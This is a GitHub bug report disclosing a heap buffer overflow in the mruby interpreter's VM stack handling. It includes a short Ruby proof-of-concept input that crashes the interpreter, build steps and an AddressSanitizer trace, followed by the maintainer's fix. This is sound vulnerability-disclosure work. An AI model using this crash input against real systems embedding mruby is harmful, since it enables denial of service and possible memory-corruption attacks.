Heap buffer overflow in mruby interpreter #5042

Closed **prashast** opened this issue on Jul 20, 2020 · 1 comment

prashast commented on Jul 20, 2020 • edited

A heap buffer overflow exists in `mrb_yield_with_class` function in `src/vm.c:767` triggered via `stack_copy`. The bug can be detected on Ubuntu-18.04 64-bit with ASAN-enabled mruby. It has been reproduced with mruby compiled with different compiler toolchains: `clang-9, clang-10, gcc-7.5`. The POC input and steps to reproduce are provided below.

POC Input

```
c=singleton_methods.sample( )
d=singleton_methods.method(c)
d=d.call(d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,
```

Steps to reproduce

```
git clone https://github.com/mruby/mruby
cd mruby
CC=clang LDFLAGS="-fsanitize=address" CFLAGS="-fsanitize=address -g" make -j`nproc`
./bin/mruby poc.rb
```

ASAN Report

```
=================================================================
==9655==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000004d20 at pc 0x000000493c50 bp 0x7ffca1f00c60 sp 0x7ffca1f00428
WRITE of size 16 at 0x621000004d20 thread T0
    #0 0x493c4f in __asan_memcpy (/tmp/mruby/bin/mruby+0x493c4f)
    #1 0x59be83 in stack_copy /tmp/mruby/src/vm.c:123:14
    #2 0x5a6acf in mrb_yield_with_class /tmp/mruby/src/vm.c:767:5
    #3 0x7e0c8f in mcall /tmp/mruby/mrbgems/mruby-method/src/method.c:131:11
    #4 0x7dacb2 in method_call /tmp/mruby/mrbgems/mruby-method/src/method.c:148:10
    #5 0x5b9819 in mrb_vm_exec /tmp/mruby/src/vm.c:1437:18
    #6 0x5a9054 in mrb_vm_run /tmp/mruby/src/vm.c:935:12
    #7 0x60090f in mrb_top_run /tmp/mruby/src/vm.c:2836:12
    #8 0x6418ed in mrb_load_exec /tmp/mruby/mrbgems/mruby-compiler/core/parse.y:6512:7
    #9 0x6425fd in mrb_load_file_cxt /tmp/mruby/mrbgems/mruby-compiler/core/parse.y:6521:10
    #10 0x4c58cf in main /tmp/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:331:11
    #11 0x7f7459aaeb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
    #12 0x41c009 in _start (/tmp/mruby/bin/mruby+0x41c009)

0x621000004d20 is located 0 bytes to the right of 4128-byte region [0x621000003d00,0x621000004d20)
allocated by thread T0 here:
    #0 0x494a69 in realloc (/tmp/mruby/bin/mruby+0x494a69)
    #1 0x612045 in mrb_default_allocf /tmp/mruby/src/state.c:68:12
    #2 0x5249ab in mrb_realloc_simple /tmp/mruby/src/gc.c:211:8
    #3 0x524fc4 in mrb_realloc /tmp/mruby/src/gc.c:225:8
    #4 0x59b3d9 in stack_extend_alloc /tmp/mruby/src/vm.c:205:27
    #5 0x59af08 in mrb_stack_extend /tmp/mruby/src/vm.c:226:5
    #6 0x5a8f1d in mrb_vm_run /tmp/mruby/src/vm.c:932:3
    #7 0x60090f in mrb_top_run /tmp/mruby/src/vm.c:2836:12
    #8 0x6418ed in mrb_load_exec /tmp/mruby/mrbgems/mruby-compiler/core/parse.y:6512:7
    #9 0x6425fd in mrb_load_file_cxt /tmp/mruby/mrbgems/mruby-compiler/core/parse.y:6521:10
    #10 0x4c58cf in main /tmp/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:331:11
    #11 0x7f7459aaeb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

SUMMARY: AddressSanitizer: heap-buffer-overflow (/tmp/mruby/bin/mruby+0x493c4f) in __asan_memcpy
Shadow bytes around the buggy address:
  0x0c427fff8950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff8960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff8970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff8980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c427fff8990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fff89a0: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff89b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff89c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff89d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff89e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c427fff89f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
```

```
    Array cookie:            ac
    Intra object redzone:    bb
    ASan internal:           fe
    Left alloca redzone:     ca
    Right alloca redzone:    cb
    Shadow gap:              cc
  ==9655==ABORTING
```

Authors

Prashast Srivastava (Purdue University) , Mathias Payer (EPFL)

matz commented on Jul 20, 2020 Member

Thank you. We've found a significant misunderstanding of VM stack handling. I will fix it soon.

matz closed this as completed in 6334949 on Jul 20, 2020

---

mimaki pushed a commit to mruby-Forum/mruby that referenced this issue on Jul 28, 2020

`Fix the VM stack handling bug in 'mrb_yield_with_class()`; fix mruby#…` ··· 6395603

mimaki mentioned this issue on Aug 3, 2020

Review a draft of mruby 2.1.2 release note #5056

Closed

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants